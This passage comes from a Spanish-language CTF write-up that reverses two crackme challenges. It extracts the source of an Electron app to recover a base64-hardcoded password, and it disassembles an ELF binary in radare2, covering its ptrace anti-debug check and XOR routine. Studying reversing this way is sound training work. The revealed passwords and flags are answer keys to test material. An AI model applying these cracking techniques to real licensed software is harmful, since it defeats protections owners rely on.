<p><a href="https://drive.google.com/open?id=10Hl15wolUXsf-8zGkyVQp5eIjp7pJ0VZ">https://drive.google.com/open?id=10Hl15wolUXsf-8zGkyVQp5eIjp7pJ0VZ</a></p>
<p>sha256 - f819da15ea86d8d426b9dddbeb273449e0438ec8.tar.gz: fc0f3d75d8dfd93078979cf122b8610e8bcf29196eea46c509a879863d6ae83c</p>
<hr>
<h3 id="solution-10">Solution</h3>
<p>Después de descargar y descomprimir el archivo, vemos que tenemos una carpeta de proyecto, pero sin el código fuente. Más aun, si nos vamos a resources, identificaremos que se trata de electron.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing/workspace-f819da15ea86d8d426b9dddbeb273449e0438ec8$ ls
</span></span><span style="display:flex;"><span>chrome_100_percent.pak  ciberseg-ctf-19  icudtl.dat  libffmpeg.so  libVkICD_mock_icd.so  LICENSES.chromium.html  natives_blob.bin  resources.pak      swiftshader              version
</span></span><span style="display:flex;"><span>chrome_200_percent.pak  f.tar.gz         libEGL.so   libGLESv2.so  LICENSE               locales                 resources         snapshot_blob.bin  v8_context_snapshot.bin
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing/workspace-f819da15ea86d8d426b9dddbeb273449e0438ec8$ cd resources/
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing/workspace-f819da15ea86d8d426b9dddbeb273449e0438ec8/resources$ ls
</span></span><span style="display:flex;"><span>app.asar  electron.asar
</span></span></code></pre></div><p>Después de un poco de google &rsquo;electron reverse engineering&rsquo;, llegamos a este <a href="https://medium.com/how-to-electron/how-to-get-source-code-of-any-electron-application-cbb5c7726c37">post</a> donde básicamente nos indican que usemos asar para extraer el código fuente de app.asar:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing/workspace-f819da15ea86d8d426b9dddbeb273449e0438ec8/resources$ mkdir source
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing/workspace-f819da15ea86d8d426b9dddbeb273449e0438ec8/resources$ asar extract app.asar source/
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing/workspace-f819da15ea86d8d426b9dddbeb273449e0438ec8/resources$ cd source/
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing/workspace-f819da15ea86d8d426b9dddbeb273449e0438ec8/resources/source$ ls
</span></span><span style="display:flex;"><span>build.sh  cipher.js  icon.svg  index.html  LICENSE.md  logo.svg  main.js  node_modules  package.json  package-lock.json  README.md  renderer.js  window.js  yarn.lock
</span></span></code></pre></div><p>Veamos el contenido de main.js:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#75715e">// Modules to control application life and create native browser window
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> {<span style="color:#a6e22e">app</span>, <span style="color:#a6e22e">BrowserWindow</span>, <span style="color:#a6e22e">dialog</span>, <span style="color:#a6e22e">ipcMain</span>} <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;electron&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">// const flag = require(&#39;./flag&#39;)
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">cipher</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;./cipher&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Keep a global reference of the window object, if you don&#39;t, the window will
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// be closed automatically when the JavaScript object is garbage collected.
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">mainWindow</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">createWindow</span> () {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Create the browser window.
</span></span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mainWindow</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">BrowserWindow</span>({
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">width</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">500</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">height</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">150</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">resizable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">frame</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">tansparent</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">webPreferences</span><span style="color:#f92672">:</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">devTools</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mainWindow</span>.<span style="color:#a6e22e">setMenu</span>(<span style="color:#66d9ef">null</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">global</span>.window <span style="color:#f92672">=</span> <span style="color:#a6e22e">mainWindow</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// and load the index.html of the app.
</span></span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mainWindow</span>.<span style="color:#a6e22e">loadFile</span>(<span style="color:#e6db74">&#39;index.html&#39;</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// dialog.showMessageBox({type: &#34;question&#34;, title: &#34;Password&#34;, message: &#34;Which is the password?&#34;})
</span></span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Open the DevTools.
</span></span></span><span style="display:flex;"><span>  <span style="color:#75715e">// mainWindow.webContents.openDevTools()
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Emitted when the window is closed.
</span></span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mainWindow</span>.<span style="color:#a6e22e">on</span>(<span style="color:#e6db74">&#39;closed&#39;</span>, <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Dereference the window object, usually you would store windows
</span></span></span><span style="display:flex;"><span>    <span style="color:#75715e">// in an array if your app supports multi windows, this is the time
</span></span></span><span style="display:flex;"><span>    <span style="color:#75715e">// when you should delete the corresponding element.
</span></span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mainWindow</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">null</span>
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">ipcMain</span>.<span style="color:#a6e22e">on</span>(<span style="color:#e6db74">&#39;password&#39;</span>, (<span style="color:#a6e22e">event</span>, <span style="color:#a6e22e">arg</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">error</span>(<span style="color:#a6e22e">arg</span>) <span style="color:#75715e">// prints &#34;ping&#34;
</span></span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">arg</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">Buffer</span>.<span style="color:#a6e22e">from</span>(<span style="color:#e6db74">&#34;MTI2NWVmNmJjY2RhYzc5OTg1MzhiOTBjOGYxMjVjZjk4M2RiN2ZmZjE3OGUzNWRlMDY4MWQzNDQzM2QxMWM2YQ==&#34;</span>, <span style="color:#e6db74">&#39;base64&#39;</span>).<span style="color:#a6e22e">toString</span>(<span style="color:#e6db74">&#39;ascii&#39;</span>)){
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">flag</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">cipher</span>.<span style="color:#a6e22e">decrypt</span>(<span style="color:#e6db74">&#39;c93ae864e1b525ab1c64a02e7996ea52&#39;</span>, <span style="color:#a6e22e">arg</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">dialog</span>.<span style="color:#a6e22e">showMessageBox</span>({<span style="color:#a6e22e">title</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;Congratulations&#34;</span>, <span style="color:#a6e22e">message</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;The flag is&#34;</span>, <span style="color:#a6e22e">detail</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">flag</span>});
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">mainWindow</span>.<span style="color:#a6e22e">setSize</span>(<span style="color:#ae81ff">800</span>, <span style="color:#ae81ff">800</span>)
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">mainWindow</span>.<span style="color:#a6e22e">loadFile</span>(<span style="color:#e6db74">&#39;logo.svg&#39;</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   <span style="color:#75715e">// mainWindow.webContents.on(&#34;devtools-opened&#34;, () =&gt; { win.webContents.closeDevTools(); });
</span></span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// This method will be called when Electron has finished
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// initialization and is ready to create browser windows.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// Some APIs can only be used after this event occurs.
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">on</span>(<span style="color:#e6db74">&#39;ready&#39;</span>, <span style="color:#a6e22e">createWindow</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Quit when all windows are closed.
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">on</span>(<span style="color:#e6db74">&#39;window-all-closed&#39;</span>, <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// On macOS it is common for applications and their menu bar
</span></span></span><span style="display:flex;"><span>  <span style="color:#75715e">// to stay active until the user quits explicitly with Cmd + Q
</span></span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">platform</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#39;darwin&#39;</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">quit</span>()
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">on</span>(<span style="color:#e6db74">&#39;activate&#39;</span>, <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// On macOS it&#39;s common to re-create a window in the app when the
</span></span></span><span style="display:flex;"><span>  <span style="color:#75715e">// dock icon is clicked and there are no other windows open.
</span></span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">mainWindow</span> <span style="color:#f92672">===</span> <span style="color:#66d9ef">null</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">createWindow</span>()
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// console.log(&#34;PASSWORD&#34;)
</span></span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// In this file you can include the rest of your app&#39;s specific main process
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// code. You can also put them in separate files and require them here.
</span></span></span></code></pre></div><p>Como podemos observar, se realiza una comparativa contra &ldquo;MTI2NWVmNmJjY2RhYzc5OTg1MzhiOTBjOGYxMjVjZjk4M2RiN2ZmZjE3OGUzNWRlMDY4MWQzNDQzM2QxMWM2YQ==&rdquo;, y si este es el valor ingresado se realiza el decrypt del flag c93ae864e1b525ab1c64a02e7996ea52.</p>
<p>El valor de la contraseña es 1265ef6bccdac7998538b90c8f125cf983db7fff178e35de0681d34433d11c6a, al ingresarlo en la aplicación tenemos la flag:</p>
<p><img src="/img/ciberseg19/writeup2_flag.png" alt="Correct Password"></p>
<h3 id="flag-10">Flag</h3>
<p>flag{show_the_code}</p>
<h2 id="cuisine-revolution-300pts">Cuisine revolution (300pts)</h2>
<p>El software incorporado en este cacharro de cocina es altamente complejo.</p>
<p>sha256-crackme2: 3fead17cf510cf31dc9cebcb70fdf62d1af17d34b5f2930a646f8588c2a6b454</p>
<hr>
<h3 id="solution-11">Solution</h3>
<p>Primero analicemos si el binario tiene protección:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing$ rabin2 -I crackme2
</span></span><span style="display:flex;"><span>arch     x86
</span></span><span style="display:flex;"><span>baddr    0x0
</span></span><span style="display:flex;"><span>binsz    15023
</span></span><span style="display:flex;"><span>bintype  elf
</span></span><span style="display:flex;"><span>bits     64
</span></span><span style="display:flex;"><span>canary   false
</span></span><span style="display:flex;"><span>sanitiz  false
</span></span><span style="display:flex;"><span>class    ELF64
</span></span><span style="display:flex;"><span>crypto   false
</span></span><span style="display:flex;"><span>endian   little
</span></span><span style="display:flex;"><span>havecode true
</span></span><span style="display:flex;"><span>intrp    /lib64/ld-linux-x86-64.so.2
</span></span><span style="display:flex;"><span>laddr    0x0
</span></span><span style="display:flex;"><span>lang     c
</span></span><span style="display:flex;"><span>linenum  true
</span></span><span style="display:flex;"><span>lsyms    true
</span></span><span style="display:flex;"><span>machine  AMD x86-64 architecture
</span></span><span style="display:flex;"><span>maxopsz  16
</span></span><span style="display:flex;"><span>minopsz  1
</span></span><span style="display:flex;"><span>nx       true
</span></span><span style="display:flex;"><span>os       linux
</span></span><span style="display:flex;"><span>pcalign  0
</span></span><span style="display:flex;"><span>pic      true
</span></span><span style="display:flex;"><span>relocs   true
</span></span><span style="display:flex;"><span>relro    partial
</span></span><span style="display:flex;"><span>rpath    NONE
</span></span><span style="display:flex;"><span>static   false
</span></span><span style="display:flex;"><span>stripped false
</span></span><span style="display:flex;"><span>subsys   linux
</span></span><span style="display:flex;"><span>va       true
</span></span></code></pre></div><p>No vemos nada anormal, así que analicemos en radare2:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing$ r2 crackme2
</span></span><span style="display:flex;"><span>[0x00001080]&gt; aaaa
</span></span><span style="display:flex;"><span>[x] Analyze all flags starting with sym. and entry0 (aa)
</span></span><span style="display:flex;"><span>[x] Analyze function calls (aac)
</span></span><span style="display:flex;"><span>[x] Analyze len bytes of instructions for references (aar)
</span></span><span style="display:flex;"><span>[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
</span></span><span style="display:flex;"><span>[x] Enable constraint types analysis for variables
</span></span><span style="display:flex;"><span>[0x00001080]&gt; afl
</span></span><span style="display:flex;"><span>0x00001000    3 23           sym._init
</span></span><span style="display:flex;"><span>0x00001030    1 6            sym.imp.puts
</span></span><span style="display:flex;"><span>0x00001040    1 6            sym.imp.fgets
</span></span><span style="display:flex;"><span>0x00001050    1 6            sym.imp.ptrace
</span></span><span style="display:flex;"><span>0x00001060    1 6            sym.imp.fwrite
</span></span><span style="display:flex;"><span>0x00001070    1 6            sub.__cxa_finalize_1070
</span></span><span style="display:flex;"><span>0x00001080    1 42           entry0
</span></span><span style="display:flex;"><span>0x000010b0    4 41   -&gt; 34   sym.deregister_tm_clones
</span></span><span style="display:flex;"><span>0x000010e0    4 57   -&gt; 51   sym.register_tm_clones
</span></span><span style="display:flex;"><span>0x00001120    5 57   -&gt; 50   sym.__do_global_dtors_aux
</span></span><span style="display:flex;"><span>0x00001160    1 5            entry.init0
</span></span><span style="display:flex;"><span>0x00001165    4 73           sym.xor
</span></span><span style="display:flex;"><span>0x000011ae   10 100          sym.compare
</span></span><span style="display:flex;"><span>0x00001212    7 229          main
</span></span><span style="display:flex;"><span>0x00001300    3 101  -&gt; 92   sym.__libc_csu_init
</span></span><span style="display:flex;"><span>0x00001370    1 2            sym.__libc_csu_fini
</span></span><span style="display:flex;"><span>0x00001374    1 9            sym._fini
</span></span></code></pre></div><p>Básicamente, tenemos main, xor y compare como las funciones de este programa. También podemos observar la presencia de ptrace para impedir que realicemos el debugging del binario y otras funciones estándares como puts, fwrite y fgets</p>
<p>Iniciemos con main:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[0x00001080]&gt; s main
</span></span><span style="display:flex;"><span>[0x00001212]&gt; pdf
</span></span><span style="display:flex;"><span>┌ (fcn) main 229
</span></span><span style="display:flex;"><span>│   int main (int argc, char **argv, char **envp);
</span></span><span style="display:flex;"><span>│           ; var int local_bh @ rbp-0xb
</span></span><span style="display:flex;"><span>│           ; DATA XREF from entry0 (0x109d)
</span></span><span style="display:flex;"><span>│           0x00001212      55             push rbp
</span></span><span style="display:flex;"><span>│           0x00001213      4889e5         mov rbp, rsp
</span></span><span style="display:flex;"><span>│           0x00001216      4883ec10       sub rsp, 0x10
</span></span><span style="display:flex;"><span>│           0x0000121a      b900000000     mov ecx, 0
</span></span><span style="display:flex;"><span>│           0x0000121f      ba01000000     mov edx, 1
</span></span><span style="display:flex;"><span>│           0x00001224      be00000000     mov esi, 0
</span></span><span style="display:flex;"><span>│           0x00001229      bf00000000     mov edi, 0
</span></span><span style="display:flex;"><span>│           0x0000122e      b800000000     mov eax, 0
</span></span><span style="display:flex;"><span>│           0x00001233      e818feffff     call sym.imp.ptrace
</span></span><span style="display:flex;"><span>│           0x00001238      4885c0         test rax, rax
</span></span><span style="display:flex;"><span>│       ┌─&lt; 0x0000123b      7916           jns 0x1253
</span></span><span style="display:flex;"><span>│       │   0x0000123d      488d3dc40d00.  lea rdi, str.Esta_no_se_abre.._NO_SE_PUEDE_ABRIR____NO_ES_BUENO ; 0x2008 ; &#34;Esta no se abre.. NO SE PUEDE ABRIR!!! NO ES BUENO!!&#34;
</span></span><span style="display:flex;"><span>│       │   0x00001244      e8e7fdffff     call sym.imp.puts           ; int puts(const char *s)
</span></span><span style="display:flex;"><span>│       │   0x00001249      b800000000     mov eax, 0
</span></span><span style="display:flex;"><span>│      ┌──&lt; 0x0000124e      e9a2000000     jmp 0x12f5
</span></span><span style="display:flex;"><span>│      ││   ; CODE XREF from main (0x123b)
</span></span><span style="display:flex;"><span>│      │└─&gt; 0x00001253      488b05062e00.  mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5 ; [0x4060:8]=0
</span></span><span style="display:flex;"><span>│      │    0x0000125a      4889c1         mov rcx, rax
</span></span><span style="display:flex;"><span>│      │    0x0000125d      ba2d000000     mov edx, 0x2d               ; &#39;-&#39;
</span></span><span style="display:flex;"><span>│      │    0x00001262      be01000000     mov esi, 1
</span></span><span style="display:flex;"><span>│      │    0x00001267      488d3dd20d00.  lea rdi, str.Esto_te_va_a_Fascinar___Dame_la_contrase__a: ; 0x2040 ; &#34;Esto te va a Fascinar!! Dame la contrase\u00f1a: &#34;
</span></span><span style="display:flex;"><span>│      │    0x0000126e      e8edfdffff     call sym.imp.fwrite         ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)
</span></span><span style="display:flex;"><span>│      │    0x00001273      488b15f62d00.  mov rdx, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5 ; [0x4070:8]=0
</span></span><span style="display:flex;"><span>│      │    0x0000127a      488d45f5       lea rax, [local_bh]
</span></span><span style="display:flex;"><span>│      │    0x0000127e      be0a000000     mov esi, 0xa
</span></span><span style="display:flex;"><span>│      │    0x00001283      4889c7         mov rdi, rax
</span></span><span style="display:flex;"><span>│      │    0x00001286      e8b5fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
</span></span><span style="display:flex;"><span>│      │    0x0000128b      488d45f5       lea rax, [local_bh]
</span></span><span style="display:flex;"><span>│      │    0x0000128f      4889c7         mov rdi, rax
</span></span><span style="display:flex;"><span>│      │    0x00001292      e8cefeffff     call sym.xor
</span></span><span style="display:flex;"><span>│      │    0x00001297      488d45f5       lea rax, [local_bh]
</span></span><span style="display:flex;"><span>│      │    0x0000129b      488d35a62d00.  lea rsi, obj.pass           ; 0x4048 ; &#34;:\x06\n\x1c\x0e\x06&#34;
</span></span><span style="display:flex;"><span>│      │    0x000012a2      4889c7         mov rdi, rax
</span></span><span style="display:flex;"><span>│      │    0x000012a5      e804ffffff     call sym.compare
</span></span><span style="display:flex;"><span>│      │    0x000012aa      85c0           test eax, eax
</span></span><span style="display:flex;"><span>│      │┌─&lt; 0x000012ac      7522           jne 0x12d0
</span></span><span style="display:flex;"><span>│      ││   0x000012ae      488b05ab2d00.  mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5 ; [0x4060:8]=0
</span></span><span style="display:flex;"><span>│      ││   0x000012b5      4889c1         mov rcx, rax
</span></span><span style="display:flex;"><span>│      ││   0x000012b8      ba33000000     mov edx, 0x33               ; &#39;3&#39;
</span></span><span style="display:flex;"><span>│      ││   0x000012bd      be01000000     mov esi, 1
</span></span><span style="display:flex;"><span>│      ││   0x000012c2      488d3da70d00.  lea rdi, str.Es_Correcto.._La_Contrase__a_es_tu_Flag_Campeon ; 0x2070 ; &#34;Es Correcto.. La Contrase\u00f1a es tu Flag Campeon!!!\n&#34;
</span></span><span style="display:flex;"><span>│      ││   0x000012c9      e892fdffff     call sym.imp.fwrite         ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)
</span></span><span style="display:flex;"><span>│     ┌───&lt; 0x000012ce      eb20           jmp 0x12f0
</span></span><span style="display:flex;"><span>│     │││   ; CODE XREF from main (0x12ac)
</span></span><span style="display:flex;"><span>│     ││└─&gt; 0x000012d0      488b05892d00.  mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5 ; [0x4060:8]=0
</span></span><span style="display:flex;"><span>│     ││    0x000012d7      4889c1         mov rcx, rax
</span></span><span style="display:flex;"><span>│     ││    0x000012da      ba0a000000     mov edx, 0xa
</span></span><span style="display:flex;"><span>│     ││    0x000012df      be01000000     mov esi, 1
</span></span><span style="display:flex;"><span>│     ││    0x000012e4      488d3db90d00.  lea rdi, str.No_tio_No      ; 0x20a4 ; &#34;No tio No\n&#34;
</span></span><span style="display:flex;"><span>│     ││    0x000012eb      e870fdffff     call sym.imp.fwrite         ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)
</span></span><span style="display:flex;"><span>│     ││    ; CODE XREF from main (0x12ce)
</span></span><span style="display:flex;"><span>│     └───&gt; 0x000012f0      b800000000     mov eax, 0
</span></span><span style="display:flex;"><span>│      │    ; CODE XREF from main (0x124e)
</span></span><span style="display:flex;"><span>│      └──&gt; 0x000012f5      c9             leave
</span></span><span style="display:flex;"><span>└           0x000012f6      c3             ret
</span></span><span style="display:flex;"><span>[0x00001212]&gt;
</span></span></code></pre></div><p>Una descripción por pasos a nivel pseudocódigo nos dirá lo siguiente:</p>
<ol>
<li>if (isDebuggerPresent()) aborta la misión!</li>
<li>fwrite escribe en la salida estándar el mensaje de bienvenida</li>
<li>fgets toma 10 caracteres de la entrada estándar, y lo almacena en local_bh</li>
<li>main llama a xor y le pasa de argumento la dirección de local_bh</li>
<li>main llama a compare y le pasa como argumentos las direcciones del valor estático de obj.pass y de local_bh</li>
<li>if (compare()) &ldquo;Mensaje de éxito&rdquo;; else &ldquo;mensaje de fracaso&rdquo;</li>
<li>return 0;</li>
</ol>
<p>Continuemos con la función XOR:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[0x00001212]&gt; s sym.xor
</span></span><span style="display:flex;"><span>[0x00001165]&gt; pdf
</span></span><span style="display:flex;"><span>┌ (fcn) sym.xor 73
</span></span><span style="display:flex;"><span>│   sym.xor (int arg1);
</span></span><span style="display:flex;"><span>│           ; var int local_18h @ rbp-0x18
</span></span><span style="display:flex;"><span>│           ; var int local_4h @ rbp-0x4
</span></span><span style="display:flex;"><span>│           ; arg int arg1 @ rdi
</span></span><span style="display:flex;"><span>│           ; CALL XREF from main (0x1292)
</span></span><span style="display:flex;"><span>│           0x00001165      55             push rbp
</span></span><span style="display:flex;"><span>│           0x00001166      4889e5         mov rbp, rsp
</span></span><span style="display:flex;"><span>│           0x00001169      48897de8       mov qword [local_18h], rdi  ; arg1
</span></span><span style="display:flex;"><span>│           0x0000116d      c745fc000000.  mov dword [local_4h], 0
</span></span><span style="display:flex;"><span>│       ┌─&lt; 0x00001174      eb2f           jmp 0x11a5
</span></span><span style="display:flex;"><span>│       │   ; CODE XREF from sym.xor (0x11a9)
</span></span><span style="display:flex;"><span>│      ┌──&gt; 0x00001176      8b45fc         mov eax, dword [local_4h]
</span></span><span style="display:flex;"><span>│      ╎│   0x00001179      4863d0         movsxd rdx, eax
</span></span><span style="display:flex;"><span>│      ╎│   0x0000117c      488b45e8       mov rax, qword [local_18h]
</span></span><span style="display:flex;"><span>│      ╎│   0x00001180      4801d0         add rax, rdx                ; &#39;(&#39;
</span></span><span style="display:flex;"><span>│      ╎│   0x00001183      0fb608         movzx ecx, byte [rax]
</span></span><span style="display:flex;"><span>│      ╎│   0x00001186      8b45fc         mov eax, dword [local_4h]
</span></span><span style="display:flex;"><span>│      ╎│   0x00001189      83c069         add eax, 0x69               ; &#39;i&#39;
</span></span><span style="display:flex;"><span>│      ╎│   0x0000118c      89c6           mov esi, eax
</span></span><span style="display:flex;"><span>│      ╎│   0x0000118e      8b45fc         mov eax, dword [local_4h]
</span></span><span style="display:flex;"><span>│      ╎│   0x00001191      4863d0         movsxd rdx, eax
</span></span><span style="display:flex;"><span>│      ╎│   0x00001194      488b45e8       mov rax, qword [local_18h]
</span></span><span style="display:flex;"><span>│      ╎│   0x00001198      4801d0         add rax, rdx                ; &#39;(&#39;
</span></span><span style="display:flex;"><span>│      ╎│   0x0000119b      31f1           xor ecx, esi
</span></span><span style="display:flex;"><span>│      ╎│   0x0000119d      89ca           mov edx, ecx
</span></span><span style="display:flex;"><span>│      ╎│   0x0000119f      8810           mov byte [rax], dl
</span></span><span style="display:flex;"><span>│      ╎│   0x000011a1      8345fc01       add dword [local_4h], 1
</span></span><span style="display:flex;"><span>│      ╎│   ; CODE XREF from sym.xor (0x1174)
</span></span><span style="display:flex;"><span>│      ╎└─&gt; 0x000011a5      837dfc08       cmp dword [local_4h], 8
</span></span><span style="display:flex;"><span>│      └──&lt; 0x000011a9      7ecb           jle 0x1176
</span></span><span style="display:flex;"><span>│           0x000011ab      90             nop
</span></span><span style="display:flex;"><span>│           0x000011ac      5d             pop rbp
</span></span><span style="display:flex;"><span>└           0x000011ad      c3             ret
</span></span><span style="display:flex;"><span>[0x00001165]&gt;
</span></span></code></pre></div><p>Ok ok, comienzo con mi pseudocódigo:</p>
<ol>
<li>Tenemos dos variables inicializadas, la primera es el argumento que recibimos (local_18h) y la segunda un counter (local_4h) (<strong>spoiler</strong>)</li>
<li>Tenemos unos jumps de ida y de vuelta, que se basan en un compare, osea un loop. Mirando lo que sucede al final, tenemos que el counter se incrementa y tiene máximo hasta 8 para finalizar el loop.</li>
<li>Seleccionamos la letra correspondiente del string, estilo local_18h[local_4h]</li>
<li>Sumamos y almacenamos temporalmente 0x69 + local_4h</li>
<li>Realizamos un xor entre la letra y el valor temporal (0x69 + local_4h), guardando el valor en la posición de la letra</li>
<li>Incrementamos el contador y nos vamos con la siguiente letra hasta acabar con 8 caracteres.</li>
</ol>
<p>Aqui tuve mi primer wtf. El compare o cmp es de menos de 8 caracteres, pero yep, ingresamos 10.</p>
<p>La función no retorna nada, pero modifico el texto ingresado (letra ^ (0x69+n)), por lo que continuamos con la siguiente función, compare:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[0x00001165]&gt; s sym.compare
</span></span><span style="display:flex;"><span>[0x000011ae]&gt; pdf
</span></span><span style="display:flex;"><span>┌ (fcn) sym.compare 100
